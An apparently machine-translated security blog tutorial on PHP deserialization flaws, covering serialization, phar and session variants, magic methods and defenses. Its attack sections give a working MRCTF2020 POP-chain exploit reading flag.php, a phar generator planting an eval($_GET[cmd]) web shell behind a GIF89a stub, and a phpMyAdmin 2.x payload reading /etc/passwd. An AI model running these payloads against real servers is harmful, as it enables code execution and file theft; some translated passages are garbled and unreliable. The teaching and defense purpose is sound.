PHP code audit 12 - deserialization vulnerability

1. Basics of PHP deserialization vulnerabilities

1. Serialization and deserialization

Serialization and deserialization are to solve a problem of PHP object delivery, because the PHP file will destroy the object after execution, so if there is a page that happens to use the object that was just destroyed next time, it will be helpless, so it is There is a way to save objects for a long time-PHP serialization, so that when we want to use it next time, we only need to deserialize it. The purpose of serialization is to facilitate the transmission and storage of data, and .json is for the convenience of transferring data.

1) Serialization

Concept: Compress complex data types into a string. Data types can be arrays, strings, objects, etc.
Serializing an object will save all variables of the object, but will not save the method of the object, only the name of the class .

Use function: serialize()

Example:

//示例代码
class people{
    
    
    public $name = 'sam';  
    private $sex = 'man';  
    protected $age = '20';
}
$people1 = new people();
$object = serialize($people);
print_r($object);
//输出结果:
O:6:"people":3:{
    
    s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
//结果解析
O表示序列化的一个类,如果此位置是A表示序列化的一个数组
6表示类名长度
people表示类名
3表示类中的属性个数
s:4:"name";s:3:"sam";表示第一个键值对的键名为name长度为4,键值为sam长度为3,都是string类型,后面类似,都是两两为一个键值对

2) Deserialization

Concept: deserialization is to convert serialized data into arrays or classes, which is the reverse operation of serialization

Use function: unserialize( )

Example:

//POST输入:  ‘O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}’
$obj=$_POST[ser];
$class=unserialize($obd);
var_dump($calss);
//输出结果:
{
    
     ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
//结果说明:
对于序列化后的数据,private属性的对象会在前后加空格或者带上其所在的类名怎加一区分,对于protected属性需要加" * "来进行区分,而pubic属性的的对象则无需任何操作。

3) Deserialization vulnerability

Principle: When the string is controllable and not filtered during deserialization, there may be a deserialization vulnerability.

Through the serialization and deserialization examples above, we can know:

  • When deserializing, if the string is controllable, we can deserialize it into any class object in the code, and the properties of the class object are controllable.
  • At the same time, if the method of the class is called (automatically/manually) using the value of its own member attribute, then we can control the execution result of this method, so the deserialization vulnerability exists.

2. Types of deserialization vulnerabilities

Common deserialization vulnerabilities include the following three types:

  • native deserialization

    即使用serialize()unserialize()导致的反序列化漏洞。
    
  • phar deserialization

    基本概念:phar反序列化即在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
    原理:
    phar文件的格式由四部分组成,分别是 stub、maniftaet、contents和signature四部分。
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在maniftaet部分。这部分还会以序列化的形式存储用户自定义的meta-data,这就是phar反序列化漏洞的核心所在。
    利用条件:
     1、phar文件能够上传到服务器端
     2、有可以利用的魔术方法作为跳板
     3、文件操作参数可控即"/""phar"等特殊字符没有被过滤
    常见的引起phar反序列化的函数:
    file_exists(),file(),unlink(),is_file(),file_get_contents(),is_dir(),copy(),readfile(),fopen()等等。
    
  • Session deserialization

    PHP session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生
    

3. Some common magic functions

The method of automatic call mentioned above is called magic method in PHP, not only in PHP, but also in other languages. For example, there are constructors and destructors in C++, which correspond to the sum of __constructPHP __destruct. In addition to the magic methods written here, PHP has other magic methods that will be called automatically in certain situations. If there is a magic method that can be called automatically in the corresponding class when we are deserializing, then we can construct the serialized data so that it can automatically execute the code. For PHP, common magic methods are as follows:

  • Constructor: __construct(): Automatically called when the object is instantiated, that is, when it is serialized.
  • Destructor: __destruct(): Called automatically before the object is destroyed.
  • __set(key,value): Automatically called when assigning a value to a private property of a class.
  • __get($key): Automatically called when obtaining the private properties of the class.
  • __isset($key): Automatically called when the isset() function is used externally to detect the private properties of this class.
  • __unset($key): Automatically called when the unset() function is used externally to delete the private attributes of this class.
  • __clone: ​​Automatically invoked when the clone keyword is used to clone an object.
  • __tostring(): Automatically invoked when using output statements such as echo to print objects directly. For example, echo $searialized in the above code will actually call this magic method.
  • __sleep(): Called automatically when the object is instantiated into a string (in the above example)
  • __wakeup(): When deserializing a string into an object, the automatic call will be called first.

4. Vulnerability exploitation and defense

1) Vulnerability Exploitation

Compared with the deserialization vulnerability, in order to exploit it, it is necessary to construct a POP exploitation chain. This is a relatively complicated and brain-burning problem, because we need to deeply understand the serialized code call logic, and then reverse reason the construction . Finally try to execute a system command or code. The specific utilization ideas require us to practice more and write more questions, and then we can construct a good utilization chain in the actual situation for utilization. For the usage method, you can refer to the reference link at the end of the article.

2) Vulnerability defense

For the defense against serialization vulnerabilities in PHP, we mainly consider the following methods:

  • Signature and Authentication
如果序列化的内容没有用户可控参数,仅仅是服务端存储和应用,则可以通过签名认证,来避免应用接受黑客的异常输入。   
  • Classes that restrict serialization and deserialization
 增加一层序列化和反序列化接口类。这就相当于允许提供了一个白名单的过滤:只允许某些类可以被反序列化。只要你在反序列化的过程中,避免接受处理任何类型(包括类成员中的接口、泛型等),黑客其实很难控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就很难利用反序列化漏洞了
  • RASP detection
(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数(例如:序列化,反序列化)的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截.

2. MRCTF2020-Ezpop Analysis and Utilization

First look at the source code:

Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
    
    
    protected  $var;
    public function append($value){
    
    
        include($value);//这里的include函数,可以让我们来进行php伪协议,这里是第一个突破口。
    }
    public function __invoke(){
    
    //以调用函数的方式调用一个对象时触发此方法
        $this->append($this->var);
    }
}
class Show{
    
    
    public $source;
    public $str;
    public function __construct($file='index.php'){
    
    
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
    
    //在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。
        return $this->str->source;
    }
    public function __wakeup(){
    
    
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    
    //使用了黑名单过滤了一下http协议的东西,但是不影响咱们的php伪协议。
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    
    
    public $p;
    public function __construct(){
    
    
        $this->p = array();
    }
    public function __get($key){
    
    
        $function = $this->p;//get方法用来返回$function,然后$function的值是$this->p,这里将Modifier成为了函数
        return $function();
    }
}
if(isset($_GET['pop'])){
    
    //get方法传参pop,然后反序列化
    @unserialize($_GET['pop']);
}else{
    
    
    $a=new Show;
    highlight_file(__FILE__);
}

So we can know that the vulnerability is there include($value);, and we can construct it $value=php:// =php://filter/read=convert.base64-encode/resource=flag.php to read the flag file.

Then when we pass in a POP parameter, it will automatically deserialize and need to call the _wakeup()magic method of the Show class first. This method is simple to filter, but it does not affect our use of the php pseudo-protocol.

If __toString()str is assigned as an instantiated Test class, then its class does not contain the source attribute, so _get()the method in Test will be called.

If _get()p in is assigned to the Modifier class, it is equivalent to the Modifier class being treated as a function, so _invoke()the method in the Modifier class will be called.

Using file inclusion, you can _invoke()read the content of flag.php.

So the complete your POP chain is:

Modifier::__invoke()<--Test::__get()<--Show::__toString()

Construct exp:

<?php
class Modifier {
    
    
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';  
}
class Show{
    
    
  public $source;
  public $str;
  public function __construct($file){
    
    
    $this->source = $file;
  }
  public function __toString(){
    
    
    return " ";//触发get()
  }
}
class Test{
    
    
  public $p;
}
$a= new Show('a');
$a->str = new Test(); //触发toString()
$a->str->p=new Modifier();//触发invoke()
$b=new Show($a);
echo serialize($b);
?>

Get serialized data:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:1:"a";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

Then pass it in through POP to get the base64-encoded flag:

insert image description here

The decoded situation:

insert image description here

3. Phar deserialization example analysis

This is a relatively simple example, the source code is as follows:

<?php 
if(isset($_GET['filename'])){
    
    
    $filename = $_GET['filename'];
    class MyClass{
    
    
        var $Output = 'echo "hahaha"';
        function __destruct(){
    
    
            // TODO: Implement __destruct() method.
            eval($this->Output);
        }
    }
    file_exists($filename);
}else{
    
    
    highlight_file(__FILE__);
}

As you can see, we use file_exists($filename) to determine whether the incoming file name exists, and define a Mycalss class, which has the magic function __destruct() available. So it leads to the existence of Phar deserialization vulnerability.

Therefore, it is necessary to construct a Phar file for utilization here. The construction idea is as follows:

定义一个Mycalss类,设置$Output为$_GET['cmd'],然后实例化这个类,写入phar文件的maniftaet 部分,然后上传文件,并访问?myClass.php?filename=poc.phar&cmd=phpinfo()

The code to generate the phar file is as follows:

<?php
class MyClass{
    
    
    var $output = '@eval($_GET[cmd]);';
}
$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

Generated phar file:

insert image description here

After uploading to the server, visit filename=phar://poc.phar&cmd=phpinfo();

insert image description here

4. PHPmyadmin 2.x deserialization vulnerability recurrence and analysis

First let's look at the payload:

POST /scripts/setup.php
.....
action=test&configuration=O:10:"PMA_Config":1:{
    
    s:6:"source",s:11:"/etc/passwd";}

It can be seen from the Payload that the class that we generate the vulnerability is the PMA_Config class, and the vulnerability parameter is source.

Let's go into this file and see:

if (isset($_POST['action'])) {
    
    
    $action = $_POST['action'];
} else {
    
    
    $action = '';
}
if (isset($_POST['configuration']) && $action != 'clear' ) {
    
    
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    
    
    // Start with empty configuration
    $configuration = array();
}

It can be seen that the unserialize() function is used for deserialization in the incoming configuration, so we need to find the magic function that can be used, search in the class of the included file, and find that at the beginning of the file, a PMA_Config( ) class instantiation object, we find this class to see:

//file: libraries/Config.class.php
class PMA_Config
{
    
    
    var $default_source = './libraries/config.default.php';
    var $settings = array();
    var $source = '';
    var $source_mtime = 0;
    var $error_config_file = false;
    var $error_config_default_file = false;
    var $error_pma_uri = false;
    var $default_server = array();
    var $done = false;
    function __construct($source = null){
    
    
        $this->settings = array();
        $this->load($source);
        $this->checkSystem();
        $this->checkIsHttps();
    }
    function checkSystem(){
    
    
   		......
   	}
  ......
	function __wakeup() {
    
    
        if ( $this->source_mtime !== filemtime($this->getSource())
          || $this->error_config_file || $this->error_config_default_file ) {
    
    
            $this->settings = array();
            $this->load($this->getSource());
            $this->checkSystem();
        }
        $this->checkIsHttps();
        $this->checkCollationConnection();
    }

It can be seen that in this class, the magic function is defined __constructand __wakeup(), when deserialization is performed, it will be called __wakeup() and then the getSource() and load() functions will be called. Let's look at the getSource function first:

function getSource() {
        return $this->source;
    }

As you can see, it is to return the value of the source in the class, and then use the load function to call:

function load($source = null)
    {
    
    
        $this->loadDefaults();  //调用类中的loadDefault方法判断default_source文件是否存在
        if ( null !== $source ) {
    
    //如果source不为空,则调用setSource方法使用trim对source首尾去空。
            $this->setSource($source); 
        }
        if ( ! $this->checkConfigSource() ) {
    
    
            return false;
        }
        $cfg = array();
        $old_error_reporting = error_reporting(0);
        if ( function_exists('file_get_contents') ) {
    
    
            $eval_result =
                eval( '?>' . file_get_contents($this->getSource()) ); //调用getSource函数,然后对返回值使用file_get_contents打开,最终使用eval执行。
        } else {
    
    
            $eval_result =
                eval( '?>' . implode('\n', file($this->getSource())) );
        }
        error_reporting($old_error_reporting);
        if ( $eval_result === false ) {
    
    
            $this->error_config_file = true;
        } else  {
    
    
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }
        if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
    
    
            $this->set('collation_connection',
                strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
    
    
            $this->set('collation_connection',
                $this->get('DefaultConnectionCollation') );
        }
        $this->checkCollationConnection();
        $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
        return true;
    }

Since our serialized data is controllable, we can modify the content of the definition source, and then call the function when deserializing __wakeup() , so as to use the file_get_content() function to obtain the file content.

Reproduce the result:

insert image description here

5. Reference link

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/126247033